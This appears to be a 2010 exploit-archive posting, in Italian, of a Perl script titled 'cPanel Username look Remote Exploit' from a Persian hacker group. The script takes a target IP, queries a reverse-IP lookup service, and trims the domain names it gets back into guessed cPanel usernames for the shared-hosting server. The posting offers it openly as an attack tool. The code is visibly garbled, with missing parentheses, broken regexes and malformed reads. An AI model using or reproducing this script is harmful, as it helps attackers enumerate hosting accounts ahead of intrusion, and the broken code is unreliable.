cPanel Username look Remote Exploit

2010-06-22 20:50:05
Inviato da: Net.Edit0r


#######################[In The Name Of God ]##########################
#Exploit Title ? ? ? ?: ?cPanel Username look Remote Exploit
#Author ? ? ? ? ? ? ? : ?Net.Edit0r
#Contact ? ? ? ? ? ? ?: [email protected] ?
#Location ? ? ? ? ? ? : ?Iran
#Code ? ? ? ? ? ? ? ? : ?[exploit code]
########################################################################


#!/usr/bin/perl
#############################################
# Phc-Persian Hackerz Community-Security Team
###########################################
use LWP::Simple;
print "
****************************************************
cPanel Username look up Keep priv8 ? *
****************************************************
* Phc-Persian Hackerz Community-Security Team *
* ------------------------------------------- *
* by PHC.IR ? ?>>>>>>>>>>> (Net.Edit0r ) *
* ----------------------------------------------- *
* Greetz to : admin ~ M.Prince ~ N20 ~ inj3ct0r *
****************************************************";
print "\n\nTarget to look up -> ";
chomp ($ip = <> ;
print "Output -> ";
chomp ($out = <> ;
print "\n[~] Save & Data ....\n";
sleep(1);
$URL = "http://www.dedicatedornot.com/xml/".$ip;
$content = get($URL);
@name = split(//,$content);
$name = @name[1];
@name = split(/<\/sites>/,$name);
$name = @name[0];
$name =~ s///g;
$name =~ s/<\/site>//g;
$name =~ s/www^.//g;
$name =~ s/^.com//g;
$name =~ s/^\s+//g;
open(IP,">site.txt" ;
print IP "$name";
close(IP);
sleep(1);

print "[~] Parsing Data ...\n";
chomp ($data_file = "site.txt" ;
sleep(1);
open(DAT, $data_file) || die("Could not open file!" ;
@raw_data=;?

foreach $res (@raw_data)
{
chomp($res);
$line=$res;
my $new_line = ?substr( $line, 0,10);
#my $new_line=$line;
$new_line =~ s/\.//g;
$new_line =~ s/^\s+//g;
?
open(DA, ">>$out" || print "Can't Open File. Try chmod 777 directory

";
print DA "$new_line\n";
close(DA);
} open(add,">>$out" ;print add "Tnx to Net.Edit0r";close(add);
print "[~] Done .\n"
########################################################################
#Greetz : admin ~ M.Prince ~ N20 ~ inj3ct0r ~ AGT ~ H4M3D ~ reglight
#Note : IRANIAN ?HackerZ
########################################################################
#www.phc.ir (Phc-Persian Hackerz Community-Security Team)
###########################[Net.Edit0r]#################################

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.